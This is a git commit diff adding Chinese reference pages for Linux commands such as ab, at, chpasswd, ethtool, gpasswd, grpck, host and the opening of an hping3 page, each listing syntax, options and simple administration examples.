添加命令
This commit is contained in:
parent
97848016f5
commit
c634c92de7
|
|
@ -0,0 +1,43 @@
|
|||
ab
|
||||
===
|
||||
|
||||
Apache服务器的性能测试工具
|
||||
|
||||
## 补充说明
|
||||
|
||||
**ab命令** 是Apache的Web服务器的性能测试工具,它可以测试安装Web服务器每秒种处理的HTTP请求。
|
||||
|
||||
### 语法
|
||||
|
||||
```
|
||||
ab(选项)(参数)
|
||||
```
|
||||
|
||||
### 选项
|
||||
|
||||
```
|
||||
-A:指定连接服务器的基本的认证凭据;
|
||||
-c:指定一次向服务器发出请求数;
|
||||
-C:添加cookie;
|
||||
-g:将测试结果输出为“gnuolot”文件;
|
||||
-h:显示帮助信息;
|
||||
-H:为请求追加一个额外的头;
|
||||
-i:使用“head”请求方式;
|
||||
-k:激活HTTP中的“keepAlive”特性;
|
||||
-n:指定测试会话使用的请求数;
|
||||
-p:指定包含数据的文件;
|
||||
-q:不显示进度百分比;
|
||||
-T:使用POST数据时,设置内容类型头;
|
||||
-v:设置详细模式等级;
|
||||
-w:以HTML表格方式打印结果;
|
||||
-x:以表格方式输出时,设置表格的属性;
|
||||
-X:使用指定的代理服务器发送请求;
|
||||
-y:以表格方式输出时,设置表格属性。
|
||||
```
|
||||
|
||||
### 参数
|
||||
|
||||
主机:被测试主机。
|
||||
|
||||
|
||||
<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
|
||||
|
|
@ -0,0 +1,46 @@
|
|||
arpd
|
||||
===
|
||||
|
||||
收集免费ARP信息
|
||||
|
||||
## 补充说明
|
||||
|
||||
**arpd命令** 是用来收集免费arp信息的一个守护进程,它将收集到的信息保存在磁盘上或者在需要时,提供给内核用户用于避免多余广播。
|
||||
|
||||
### 语法
|
||||
|
||||
```
|
||||
arpd(选项)(参数)
|
||||
```
|
||||
|
||||
### 选项
|
||||
|
||||
```
|
||||
-l:将arp数据库输出到标准输出设备显示并退出;
|
||||
-f:指定读取和加载arpd数据库的文本文件,文件的格式与“-l”输出信息类似;
|
||||
-b:指定arpd数据库文件,默认的位置为“/var/lib/arpd.db”;
|
||||
-a:指定目标被认为死掉前查询的次数;
|
||||
-k:禁止通过内核发送广播查询;
|
||||
-n:设定缓冲失效时间。
|
||||
```
|
||||
|
||||
### 参数
|
||||
|
||||
网络接口:指定网络接口。
|
||||
|
||||
### 实例
|
||||
|
||||
启动arpd进程:
|
||||
|
||||
```
|
||||
arpd -b /var/tmp/arpd.db
|
||||
```
|
||||
|
||||
运行一段时间后,查看结果:
|
||||
|
||||
```
|
||||
arpd -l -b /var/tmp/arpd.db
|
||||
```
|
||||
|
||||
|
||||
<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
|
||||
|
|
@ -0,0 +1,35 @@
|
|||
arptables
|
||||
===
|
||||
|
||||
管理ARP包过滤规则表
|
||||
|
||||
## 补充说明
|
||||
|
||||
**arptables命令** 用来设置、维护和检查Linux内核中的arp包过滤规则表。
|
||||
|
||||
### 语法
|
||||
|
||||
```
|
||||
arptables(选项)
|
||||
```
|
||||
|
||||
### 选项
|
||||
|
||||
```
|
||||
-A:向规则链中追加规则;
|
||||
-D:从指定的链中删除规则;
|
||||
-l:向规则链中插入一条新的规则;
|
||||
-R:替换指定规则;
|
||||
-P:设置规则链的默认策略;
|
||||
-F:刷新指定规则链,将其中的所有规则链删除,但是不改变规则链的默认策略;
|
||||
-Z:将规则链计数器清零;
|
||||
-L:显示规则链中的规则列表;
|
||||
-X:删除指定的空用户自定义规则链;
|
||||
-h:显示指令帮助信息;
|
||||
-j:指定满足规则的添加时的目标;
|
||||
-s:指定要匹配ARP包的源ip地址;
|
||||
-d:指定要匹配ARP包的目的IP地址。
|
||||
```
|
||||
|
||||
|
||||
<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
|
||||
|
|
@ -0,0 +1,84 @@
|
|||
at
|
||||
===
|
||||
|
||||
在指定时间执行一个任务
|
||||
|
||||
## 补充说明
|
||||
|
||||
**at命令** 用于在指定时间执行命令。at允许使用一套相当复杂的指定时间的方法。它能够接受在当天的hh:mm(小时:分钟)式的时间指定。假如该时间已过去,那么就放在第二天执行。当然也能够使用midnight(深夜),noon(中午),teatime(饮茶时间,一般是下午4点)等比较模糊的 词语来指定时间。用户还能够采用12小时计时制,即在时间后面加上AM(上午)或PM(下午)来说明是上午还是下午。 也能够指定命令执行的具体日期,指定格式为month day(月 日)或mm/dd/yy(月/日/年)或dd.mm.yy(日.月.年)。指定的日期必须跟在指定时间的后面。
|
||||
|
||||
上面介绍的都是绝对计时法,其实还能够使用相对计时法,这对于安排不久就要执行的命令是很有好处的。指定格式为:`now + count time-units`,now就是当前时间,time-units是时间单位,这里能够是minutes(分钟)、hours(小时)、days(天)、weeks(星期)。count是时间的数量,究竟是几天,还是几小时,等等。 更有一种计时方法就是直接使用today(今天)、tomorrow(明天)来指定完成命令的时间。
|
||||
|
||||
### 语法
|
||||
|
||||
```
|
||||
at(选项)(参数)
|
||||
```
|
||||
|
||||
### 选项
|
||||
|
||||
```
|
||||
-f:指定包含具体指令的任务文件;
|
||||
-q:指定新任务的队列名称;
|
||||
-l:显示待执行任务的列表;
|
||||
-d:删除指定的待执行任务;
|
||||
-m:任务执行完成后向用户发送E-mail。
|
||||
```
|
||||
|
||||
### 参数
|
||||
|
||||
日期时间:指定任务执行的日期时间。
|
||||
|
||||
### 实例
|
||||
|
||||
三天后的下午 5 点锺执行`/bin/ls`:
|
||||
|
||||
```
|
||||
[root@localhost ~]# at 5pm+3 days
|
||||
at> /bin/ls
|
||||
at> <EOT>
|
||||
job 7 at 2013-01-08 17:00
|
||||
```
|
||||
|
||||
明天17点钟,输出时间到指定文件内:
|
||||
|
||||
```
|
||||
[root@localhost ~]# at 17:20 tomorrow
|
||||
at> date >/root/2013.log
|
||||
at> <EOT>
|
||||
job 8 at 2013-01-06 17:20
|
||||
```
|
||||
|
||||
计划任务设定后,在没有执行之前我们可以用atq命令来查看系统没有执行工作任务:
|
||||
|
||||
```
|
||||
[root@localhost ~]# atq
|
||||
8 2013-01-06 17:20 a root
|
||||
7 2013-01-08 17:00 a root
|
||||
```
|
||||
|
||||
删除已经设置的任务:
|
||||
|
||||
```
|
||||
[root@localhost ~]# atq
|
||||
8 2013-01-06 17:20 a root
|
||||
7 2013-01-08 17:00 a root
|
||||
|
||||
[root@localhost ~]# atrm 7
|
||||
[root@localhost ~]# atq
|
||||
8 2013-01-06 17:20 a root
|
||||
```
|
||||
|
||||
显示已经设置的任务内容:
|
||||
|
||||
```
|
||||
[root@localhost ~]# at -c 8
|
||||
#!/bin/sh
|
||||
# atrun uid=0 gid=0
|
||||
# mail root 0
|
||||
umask 22此处省略n个字符
|
||||
date >/root/2013.log
|
||||
```
|
||||
|
||||
|
||||
<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
|
||||
|
|
@ -0,0 +1,36 @@
|
|||
atq
|
||||
===
|
||||
|
||||
列出当前用户的at任务列表
|
||||
|
||||
## 补充说明
|
||||
|
||||
**atq命令** 显示系统中待执行的任务列表,也就是列出当前用户的at任务列表。
|
||||
|
||||
### 语法
|
||||
|
||||
```
|
||||
atq(选项)
|
||||
```
|
||||
|
||||
### 选项
|
||||
|
||||
```
|
||||
-V:显示版本号;
|
||||
-q:查询指定队列的任务。
|
||||
```
|
||||
|
||||
### 实例
|
||||
|
||||
```
|
||||
at now + 10 minutes
|
||||
at> echo 1111
|
||||
at> <eot>
|
||||
job 3 at Fri Apr 26 12:56:00 2013
|
||||
|
||||
atq
|
||||
3 Fri Apr 26 12:56:00 2013 a root
|
||||
```
|
||||
|
||||
|
||||
<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
|
||||
|
|
@ -0,0 +1,39 @@
|
|||
atrm
|
||||
===
|
||||
|
||||
删除待执行任务队列中的指定任务
|
||||
|
||||
## 补充说明
|
||||
|
||||
**atrm命令** 用于删除待执行任务队列中的指定任务。
|
||||
|
||||
### 语法
|
||||
|
||||
```
|
||||
atrm(选项)(参数)
|
||||
```
|
||||
|
||||
### 选项
|
||||
|
||||
```
|
||||
-V:显示版本号。
|
||||
```
|
||||
|
||||
### 参数
|
||||
|
||||
任务号:指定待执行队列中要删除的任务。
|
||||
|
||||
### 实例
|
||||
|
||||
删除已经排队的任务
|
||||
|
||||
```
|
||||
atq //显示当前已经设置的任务
|
||||
2 Mon May 17 08:00:00 2010 a root
|
||||
1 Sat May 15 17:00:00 2010 a root
|
||||
|
||||
atrm 2 //删除任务2
|
||||
```
|
||||
|
||||
|
||||
<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
|
||||
|
|
@ -0,0 +1,38 @@
|
|||
batch
|
||||
===
|
||||
|
||||
在系统不繁忙的时候执行定时任务
|
||||
|
||||
## 补充说明
|
||||
|
||||
**batch命令** 用于在指定时间,当系统不繁忙时执行任务,用法与at相似。
|
||||
|
||||
### 语法
|
||||
|
||||
```
|
||||
batch(选项)(参数)
|
||||
```
|
||||
|
||||
### 选项
|
||||
|
||||
```
|
||||
-f:指定包含具体指令的任务文件;
|
||||
-q:指定新任务的队列名称;
|
||||
-m:任务执行完后向用户发送E-mail。
|
||||
```
|
||||
|
||||
### 参数
|
||||
|
||||
日期时间:指定任务执行的日期时间。
|
||||
|
||||
### 实例
|
||||
|
||||
```
|
||||
batch
|
||||
at> echo 1234
|
||||
at> <EOT>
|
||||
job 5 at Sun Apr 28 08:49:00 2013
|
||||
```
|
||||
|
||||
|
||||
<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
|
||||
|
|
@ -0,0 +1,35 @@
|
|||
chpasswd
|
||||
===
|
||||
|
||||
批量更新用户口令的工具
|
||||
|
||||
## 补充说明
|
||||
|
||||
**chpasswd命令** 是批量更新用户口令的工具,是把一个文件内容重新定向添加到`/etc/shadow`中。
|
||||
|
||||
### 语法
|
||||
|
||||
```
|
||||
chpasswd(选项)
|
||||
```
|
||||
|
||||
### 选项
|
||||
|
||||
```
|
||||
-e:输入的密码是加密后的密文;
|
||||
-h:显示帮助信息并退出;
|
||||
-m:当被支持的密码未被加密时,使用MD5加密代替DES加密。
|
||||
```
|
||||
|
||||
### 实例
|
||||
|
||||
先创建用户密码对应文件,格式为`username:password`,如`abc:abc123`,必须以这种格式来书写,并且不能有空行,保存成文本文件user.txt,然后执行chpasswd命令:
|
||||
|
||||
```
|
||||
chpasswd < user.txt
|
||||
```
|
||||
|
||||
以上是运用chpasswd命令来批量修改密码。是linux系统管理中的捷径。
|
||||
|
||||
|
||||
<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
|
||||
|
|
@ -0,0 +1,245 @@
|
|||
ethtool
|
||||
===
|
||||
|
||||
显示或修改以太网卡的配置信息
|
||||
|
||||
## 补充说明
|
||||
|
||||
ethtool命令用于获取以太网卡的配置信息,或者修改这些配置。这个命令比较复杂,功能特别多。
|
||||
|
||||
### 语法
|
||||
|
||||
```
|
||||
ethtool [ -a | -c | -g | -i | -d | -k | -r | -S |] ethX
|
||||
ethtool [-A] ethX [autoneg on|off] [rx on|off] [tx on|off]
|
||||
ethtool [-C] ethX [adaptive-rx on|off] [adaptive-tx on|off] [rx-usecs N] [rx-frames N] [rx-usecs-irq N] [rx-frames-irq N] [tx-usecs N] [tx-frames N] [tx-usecs-irq N] [tx-frames-irq N] [stats-block-usecs N][pkt-rate-low N][rx-usecs-low N] [rx-frames-low N] [tx-usecs-low N] [tx-frames-lowN] [pkt-rate-high N] [rx-usecs-high N] [rx-frames-high N] [tx-usecs-high N] [tx-frames-high N] [sample-interval N]
|
||||
ethtool [-G] ethX [rx N] [rx-mini N] [rx-jumbo N] [tx N]
|
||||
ethtool [-e] ethX [raw on|off] [offset N] [length N]
|
||||
ethtool [-E] ethX [magic N] [offset N] [value N]
|
||||
ethtool [-K] ethX [rx on|off] [tx on|off] [sg on|off] [tso on|off]
|
||||
ethtool [-p] ethX [N]
|
||||
ethtool [-t] ethX [offline|online]
|
||||
ethtool [-s] ethX [speed 10|100|1000] [duplex half|full] [autoneg on|off] [port tp|aui|bnc|mii] [phyad N] [xcvr internal|external]
|
||||
[wol p|u|m|b|a|g|s|d...] [sopass xx:yy:zz:aa:bb:cc] [msglvl N]
|
||||
```
|
||||
|
||||
### 选项
|
||||
|
||||
```
|
||||
-a 查看网卡中 接收模块RX、发送模块TX和Autonegotiate模块的状态:启动on 或 停用off。
|
||||
-A 修改网卡中 接收模块RX、发送模块TX和Autonegotiate模块的状态:启动on 或 停用off。
|
||||
-c display the Coalesce information of the specified ethernet card。
|
||||
-C Change the Coalesce setting of the specified ethernet card。
|
||||
-g Display the rx/tx ring parameter information of the specified ethernet card。
|
||||
-G change the rx/tx ring setting of the specified ethernet card。
|
||||
-i 显示网卡驱动的信息,如驱动的名称、版本等。
|
||||
-d 显示register dump信息, 部分网卡驱动不支持该选项。
|
||||
-e 显示EEPROM dump信息,部分网卡驱动不支持该选项。
|
||||
-E 修改网卡EEPROM byte。
|
||||
-k 显示网卡Offload参数的状态:on 或 off,包括rx-checksumming、tx-checksumming等。
|
||||
-K 修改网卡Offload参数的状态。
|
||||
-p 用于区别不同ethX对应网卡的物理位置,常用的方法是使网卡port上的led不断的闪;N指示了网卡闪的持续时间,以秒为单位。
|
||||
-r 如果auto-negotiation模块的状态为on,则restarts auto-negotiation。
|
||||
-S 显示NIC- and driver-specific 的统计参数,如网卡接收/发送的字节数、接收/发送的广播包个数等。
|
||||
-t 让网卡执行自我检测,有两种模式:offline or online。
|
||||
-s 修改网卡的部分配置,包括网卡速度、单工/全双工模式、mac地址等。
|
||||
```
|
||||
|
||||
### 数据来源
|
||||
|
||||
Ethtool命令显示的信息来源于网卡驱动层,即TCP/ip协议的链路层。该命令在Linux内核中实现的逻辑层次为:
|
||||
|
||||
最重要的结构体`struct ethtool_ops`,该结构体成员为用于显示或修改以太网卡配置的一系列函数指针,见下表中的第二列。
|
||||
|
||||
网卡驱动负责实现(部分)这些函数,并将其封装入`ethtool_ops`结构体,为网络核心层提供统一的调用接口。因此,不同的网卡驱动会给应用层返回不同的信息。`Ethtool命令选项`、`struct ethtool_ops成员函数`、`Ethtool命令显示参数的来源`,三者间的对应关系如下表所示:
|
||||
|
||||
<table>
|
||||
|
||||
<tbody>
|
||||
|
||||
<tr>
|
||||
|
||||
<th style="width: 100px;">命令选项</th>
|
||||
|
||||
<th>struct ethtool_ops成员函数</th>
|
||||
|
||||
<th>Ethtool命令显示参数的来源(以网卡驱动BNX2为例)</th>
|
||||
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
|
||||
<td>无 -s</td>
|
||||
|
||||
<td>get_settingsget_wol get_msglevel get_link set_settings set_wol set_msglevel</td>
|
||||
|
||||
<td>从网卡寄存器中获得网卡速度等信息,可配置。</td>
|
||||
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
|
||||
<td>-a -A</td>
|
||||
|
||||
<td>get_pauseparam set_pauseparam</td>
|
||||
|
||||
<td>从网卡寄存器中获得Autonegotiate/RX/TX模块的状态:on oroff,可配置。</td>
|
||||
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
|
||||
<td>-c -C</td>
|
||||
|
||||
<td>get_coalesceset_coalesce</td>
|
||||
|
||||
<td>从网卡寄存器中获得coalescing参数:TX/RX一个数据包后,推迟发生TX/RX中断的时间(us)/数据包个数。—减小该值可以提高网卡的响应时间。 当rx-usecs&rx-frames同时被设为0时,RX中断停止。 当tx-usecs&tx-frames同时被设为0时,TX中断停止。</td>
|
||||
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
|
||||
<td>-g -G</td>
|
||||
|
||||
<td>get_ringparam set_ringparam</td>
|
||||
|
||||
<td>除当前TX/RX ring的值(从网卡寄存器中读取得到,可配置)外,其它为网卡bnx2自己固定的信息。</td>
|
||||
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
|
||||
<td>-k -K</td>
|
||||
|
||||
<td>get_rx_csumget_tx_csum get_sg get_tso set_rx_csum set_tx_csum set_sg set_tso</td>
|
||||
|
||||
<td>显示信息从保存该状态的变量中读取得到,没有对应的寄存器。因此,TX/RX校验等模块一直处于on状态,实际上是无法修改的。</td>
|
||||
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
|
||||
<td>-i</td>
|
||||
|
||||
<td>get_drvinfo[self_test_count, get_stats_coun,t get_regs_len, get_eeprom_len]</td>
|
||||
|
||||
<td>网卡bnx2自己固定的信息,如:
|
||||
——————————————————–
|
||||
driver: bnx2 version: 1.4.30 firmware-version: 1.8.0.5 bus-info: 0000:09:00.0
|
||||
——————————————————–</td>
|
||||
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
|
||||
<td>-d</td>
|
||||
|
||||
<td>get_drvinfoget_regs</td>
|
||||
|
||||
<td>不支持,即bnx2中没有实现函数get_regs。</td>
|
||||
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
|
||||
<td>-e -E</td>
|
||||
|
||||
<td>get_eepromset_eeprom</td>
|
||||
|
||||
<td>不支持,即bnx2中没有实现函数get_eeprom。</td>
|
||||
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
|
||||
<td>-r</td>
|
||||
|
||||
<td>nway_reset</td>
|
||||
|
||||
<td>配置网卡MII_BMCR寄存器,重启Auto negotiation模块。</td>
|
||||
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
|
||||
<td>-p</td>
|
||||
|
||||
<td>phys_id</td>
|
||||
|
||||
<td>配置网卡BNX2_EMAC_LED寄存器,实现LED闪功能。</td>
|
||||
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
|
||||
<td>-t</td>
|
||||
|
||||
<td>self_test</td>
|
||||
|
||||
<td>通过配置网卡寄存器,逐一测试网卡的硬件模块:registers,memory,loopback,Link stat,interrupt。</td>
|
||||
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
|
||||
<td>-S</td>
|
||||
|
||||
<td>get_ethtool_stats</td>
|
||||
|
||||
<td>显示信息来源于网卡驱动中的结构体变量stats_blk。(网卡通过DMA方式,将寄存器BNX2_HC_STATISTICS _ADDR_L和BNX2_HC_STATISTICS_ADDR_H中的数据实时地读取到结构体变量struct statistics_block *stats_blk中。) —显示的数据都是从网卡寄存器中统计得到的,各项的含义需查询网卡(芯片)手册。</td>
|
||||
|
||||
</tr>
|
||||
|
||||
</tbody>
|
||||
|
||||
</table>
|
||||
|
||||
由上可见,ethtool命令用于显示/配置网卡硬件(寄存器)。
|
||||
|
||||
### 实例
|
||||
|
||||
查看机器上网卡的速度:百兆还是千兆,请输入:
|
||||
|
||||
```
|
||||
ethool eth0
|
||||
```
|
||||
|
||||
操作完毕后,输出信息中`Speed:`这一项就指示了网卡的速度。停止网卡的发送模块TX,请输入:
|
||||
|
||||
```
|
||||
ethtool -A tx off eth0
|
||||
```
|
||||
|
||||
操作完毕后,可输入`ethtool -a eth0`,查看tx模块是否已被停止。查看网卡eth0采用了何种驱动,请输入:
|
||||
|
||||
```
|
||||
ethtool -i eth0
|
||||
```
|
||||
|
||||
操作完毕后,显示 driver: bnx2;version: 1.4.30 等信息。关闭网卡对收到的数据包的校验功能,请输入:
|
||||
|
||||
```
|
||||
ethtool -K eth0 rx off
|
||||
```
|
||||
|
||||
操作完毕后,可输入`ethtool –k eth0`,查看校验功能是否已被停止。如果机器上安装了两块网卡,那么eth0对应着哪块网卡呢?输入:
|
||||
|
||||
```
|
||||
ethtool -p eth0 10
|
||||
```
|
||||
|
||||
操作完毕后,看哪块网卡的led灯在闪,eth0就对应着哪块网卡。查看网卡,在接收/发送数据时,有没有出错?请输入:
|
||||
|
||||
```
|
||||
ethtool –S eth0
|
||||
```
|
||||
|
||||
将千兆网卡的速度降为百兆,请输入:
|
||||
|
||||
```
|
||||
ethtool -s eth0 speed 100
|
||||
|
||||
```
|
||||
|
||||
|
||||
<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
|
||||
|
|
@ -0,0 +1,23 @@
|
|||
exportfs
|
||||
===
|
||||
|
||||
管理NFS共享文件系统列表
|
||||
|
||||
## 补充说明
|
||||
|
||||
exportfs 命令用来管理当前NFS共享的文件系统列表。
|
||||
|
||||
参数:
|
||||
|
||||
```
|
||||
-a 打开或取消所有目录共享。
|
||||
-o options,...指定一列共享选项,与 exports(5) 中讲到的类似。
|
||||
-i 忽略 /etc/exports 文件,从而只使用默认的和命令行指定的选项。
|
||||
-r 重新共享所有目录。它使 /var/lib/nfs/xtab 和 /etc/exports 同步。 它将 /etc/exports 中已删除的条目从 /var/lib/nfs/xtab 中删除,将内核共享表中任何不再有效的条目移除。
|
||||
-u 取消一个或多个目录的共享。
|
||||
-f 在“新”模式下,刷新内核共享表之外的任何东西。 任何活动的客户程序将在它们的下次请求中得到 mountd添加的新的共享条目。
|
||||
-v 输出详细信息。当共享或者取消共享时,显示在做什么。 显示当前共享列表的时候,同时显示共享的选项。
|
||||
```
|
||||
|
||||
|
||||
<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
|
||||
|
|
@ -0,0 +1,63 @@
|
|||
gpasswd
|
||||
===
|
||||
|
||||
Linux下工作组文件的管理工具
|
||||
|
||||
## 补充说明
|
||||
|
||||
**gpasswd命令** 是Linux下工作组文件`/etc/group`和`/etc/gshadow`管理工具。
|
||||
|
||||
### 语法
|
||||
|
||||
```
|
||||
gpasswd(选项)(参数)
|
||||
```
|
||||
|
||||
### 选项
|
||||
|
||||
```
|
||||
-a:添加用户到组;
|
||||
-d:从组删除用户;
|
||||
-A:指定管理员;
|
||||
-M:指定组成员和-A的用途差不多;
|
||||
-r:删除密码;
|
||||
-R:限制用户登入组,只有组中的成员才可以用newgrp加入该组。
|
||||
```
|
||||
|
||||
### 参数
|
||||
|
||||
组:指定要管理的工作组。
|
||||
|
||||
### 实例
|
||||
|
||||
如系统有个peter账户,该账户本身不是groupname群组的成员,使用newgrp需要输入密码即可。
|
||||
|
||||
```
|
||||
gpasswd groupname
|
||||
```
|
||||
|
||||
让使用者暂时加入成为该组成员,之后peter建立的文件group也会是groupname。所以该方式可以暂时让peter建立文件时使用其他的组,而不是peter本身所在的组。
|
||||
|
||||
所以使用`gpasswd groupname`设定密码,就是让知道该群组密码的人可以暂时切换具备groupname群组功能的。
|
||||
|
||||
```
|
||||
gpasswd -A peter users
|
||||
```
|
||||
|
||||
这样peter就是users群组的管理员,就可以执行下面的操作:
|
||||
|
||||
```
|
||||
gpasswd -a mary users
|
||||
gpasswd -a allen users
|
||||
```
|
||||
|
||||
注意:添加用户到某一个组 可以使用`usermod -G group_name user_name`这个命令可以添加一个用户到指定的组,但是以前添加的组就会清空掉。
|
||||
|
||||
所以想要添加一个用户到一个组,同时保留以前添加的组时,请使用gpasswd这个命令来添加操作用户:
|
||||
|
||||
```
|
||||
gpasswd -a user_name group_name
|
||||
```
|
||||
|
||||
|
||||
<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
|
||||
|
|
@ -0,0 +1,40 @@
|
|||
groupadd
|
||||
===
|
||||
|
||||
用于创建一个新的工作组
|
||||
|
||||
## 补充说明
|
||||
|
||||
**groupadd命令** 用于创建一个新的工作组,新工作组的信息将被添加到系统文件中。
|
||||
|
||||
### 语法
|
||||
|
||||
```
|
||||
groupadd(选项)(参数)
|
||||
```
|
||||
|
||||
### 选项
|
||||
|
||||
```
|
||||
-g:指定新建工作组的id;
|
||||
-r:创建系统工作组,系统工作组的组ID小于500;
|
||||
-K:覆盖配置文件“/ect/login.defs”;
|
||||
-o:允许添加组ID号不唯一的工作组。
|
||||
```
|
||||
|
||||
### 参数
|
||||
|
||||
组名:指定新建工作组的组名。
|
||||
|
||||
### 实例
|
||||
|
||||
建立一个新组,并设置组ID加入系统:
|
||||
|
||||
```
|
||||
groupadd -g 344 jsdigname
|
||||
```
|
||||
|
||||
此时在`/etc/passwd`文件中产生一个组ID(GID)是344的项目。
|
||||
|
||||
|
||||
<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
|
||||
|
|
@ -0,0 +1,37 @@
|
|||
groups
|
||||
===
|
||||
|
||||
用来打印指定用户所属的工作组
|
||||
|
||||
## 补充说明
|
||||
|
||||
**groups命令** 在标准输入输出上输出指定用户所在组的组成员,每个用户属于`/etc/passwd`中指定的一个组和在`/etc/group`中指定的其他组。
|
||||
|
||||
### 语法
|
||||
|
||||
```
|
||||
groups(选项)(参数)
|
||||
```
|
||||
|
||||
### 选项
|
||||
|
||||
```
|
||||
-help:显示命令的帮助信息;
|
||||
--version:显示命令的版本信息。
|
||||
```
|
||||
|
||||
### 参数
|
||||
|
||||
用户名:指定要打印所属工作组的用户名。
|
||||
|
||||
### 实例
|
||||
|
||||
显示linux用户所属的组
|
||||
|
||||
```
|
||||
groups linux
|
||||
linux : linux adm dialout cdrom plugdev lpadmin admin sambashare
|
||||
```
|
||||
|
||||
|
||||
<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
|
||||
|
|
@ -0,0 +1,50 @@
|
|||
grpck
|
||||
===
|
||||
|
||||
用于验证组文件的完整性
|
||||
|
||||
## 补充说明
|
||||
|
||||
**grpck命令** 用于验证组文件的完整性,在验证之前,需要先锁定(lock)组文件`/etc/group`和`/etc/shadow`。
|
||||
|
||||
grpck命令检查数据是否正确存放,每条记录是否都包含足够的信息,是否有一个唯一的组名,是否包含正确的用户,是否正确设置了组的管理员等。grpck检查发现错误以后,在命令行提示用户是否删除错误的记录。如果用户没有明确回答删除记录,grpck终止运行。
|
||||
|
||||
### 语法
|
||||
|
||||
```
|
||||
grpck(选项)
|
||||
```
|
||||
|
||||
### 选项
|
||||
|
||||
```
|
||||
-r:只读模式;
|
||||
-s:排序组id。
|
||||
```
|
||||
|
||||
### 实例
|
||||
|
||||
对组账号和影子文件进行验证:
|
||||
|
||||
```
|
||||
grpck //必须以管理员身份运行
|
||||
grpck /etc/group /etc/gshadow //后面两句一样,如果没有输出信息,则表示没有错误。
|
||||
```
|
||||
|
||||
测试错误的实例:
|
||||
|
||||
```
|
||||
**echo check_user:x: >> /etc/group //添加一行错误的格式数据
|
||||
cat /etc/group | grep check_user**
|
||||
check_user:x: //这儿GID字段为空,是错误的。
|
||||
|
||||
**grpck /etc/group**
|
||||
invalid group file entry
|
||||
delete line 'check_user:x:'? y //提示是否删除
|
||||
grpck: the files have been updated //这时已经删除了错误的行,提示文件已经更新。
|
||||
|
||||
**cat /etc/group | grep check_user //没有查到,已经删除了。**
|
||||
```
|
||||
|
||||
|
||||
<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
|
||||
|
|
@ -0,0 +1,57 @@
|
|||
host
|
||||
===
|
||||
|
||||
常用的分析域名查询工具
|
||||
|
||||
## 补充说明
|
||||
|
||||
**host命令** 是常用的分析域名查询工具,可以用来测试域名系统工作是否正常。
|
||||
|
||||
### 语法
|
||||
|
||||
```
|
||||
host(选项)(参数)
|
||||
```
|
||||
|
||||
### 选项
|
||||
|
||||
```
|
||||
-a:显示详细的DNS信息;
|
||||
-c<类型>:指定查询类型,默认值为“IN“;
|
||||
-C:查询指定主机的完整的SOA记录;
|
||||
-r:在查询域名时,不使用递归的查询方式;
|
||||
-t<类型>:指定查询的域名信息类型;
|
||||
-v:显示指令执行的详细信息;
|
||||
-w:如果域名服务器没有给出应答信息,则总是等待,直到域名服务器给出应答;
|
||||
-W<时间>:指定域名查询的最长时间,如果在指定时间内域名服务器没有给出应答信息,则退出指令;
|
||||
-4:使用IPv4;
|
||||
-6:使用IPv6.
|
||||
```
|
||||
|
||||
### 参数
|
||||
|
||||
主机:指定要查询信息的主机信息。
|
||||
|
||||
### 实例
|
||||
|
||||
```
|
||||
[root@localhost ~]# host www.jsdig.com
|
||||
www.jsdig.com is an alias for host.1.jsdig.com.
|
||||
host.1.jsdig.com has address 100.42.212.8
|
||||
|
||||
[root@localhost ~]# host -a www.jsdig.com
|
||||
Trying "www.jsdig.com"
|
||||
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 34671
|
||||
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
|
||||
|
||||
;; QUESTION SECTION:
|
||||
;www.jsdig.com. IN ANY
|
||||
|
||||
;; ANSWER SECTION:
|
||||
www.jsdig.com. 463 IN CNAME host.1.jsdig.com.
|
||||
|
||||
Received 54 bytes from 202.96.104.15#53 in 0 ms
|
||||
```
|
||||
|
||||
|
||||
<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
|
||||
|
|
@ -0,0 +1,156 @@
|
|||
hping3
|
||||
===
|
||||
|
||||
测试网络及主机的安全
|
||||
|
||||
## 补充说明
|
||||
|
||||
**hping** 是用于生成和解析TCPIP协议数据包的开源工具。创作者是Salvatore Sanfilippo。目前最新版是hping3,支持使用tcl脚本自动化地调用其API。hping是安全审计、防火墙测试等工作的标配工具。hping优势在于能够定制数据包的各个部分,因此用户可以灵活对目标机进行细致地探测。
|
||||
|
||||
### 安装
|
||||
|
||||
```
|
||||
yum install libpcap-devel tc-devel
|
||||
ln -s /usr/include/pcap-bpf.h /usr/include/net/bpf.h
|
||||
wget http://www.hping.org/hping3-20051105.tar.gz
|
||||
tar zxvf hping3-20051105.tar.gz
|
||||
cd hping3-20051105
|
||||
./configure
|
||||
make
|
||||
make install
|
||||
```
|
||||
|
||||
### 选项
|
||||
|
||||
```
|
||||
-H --help 显示帮助。
|
||||
-v -VERSION 版本信息。
|
||||
-c --count count 发送数据包的次数 关于countreached_timeout 可以在hping2.h里编辑。
|
||||
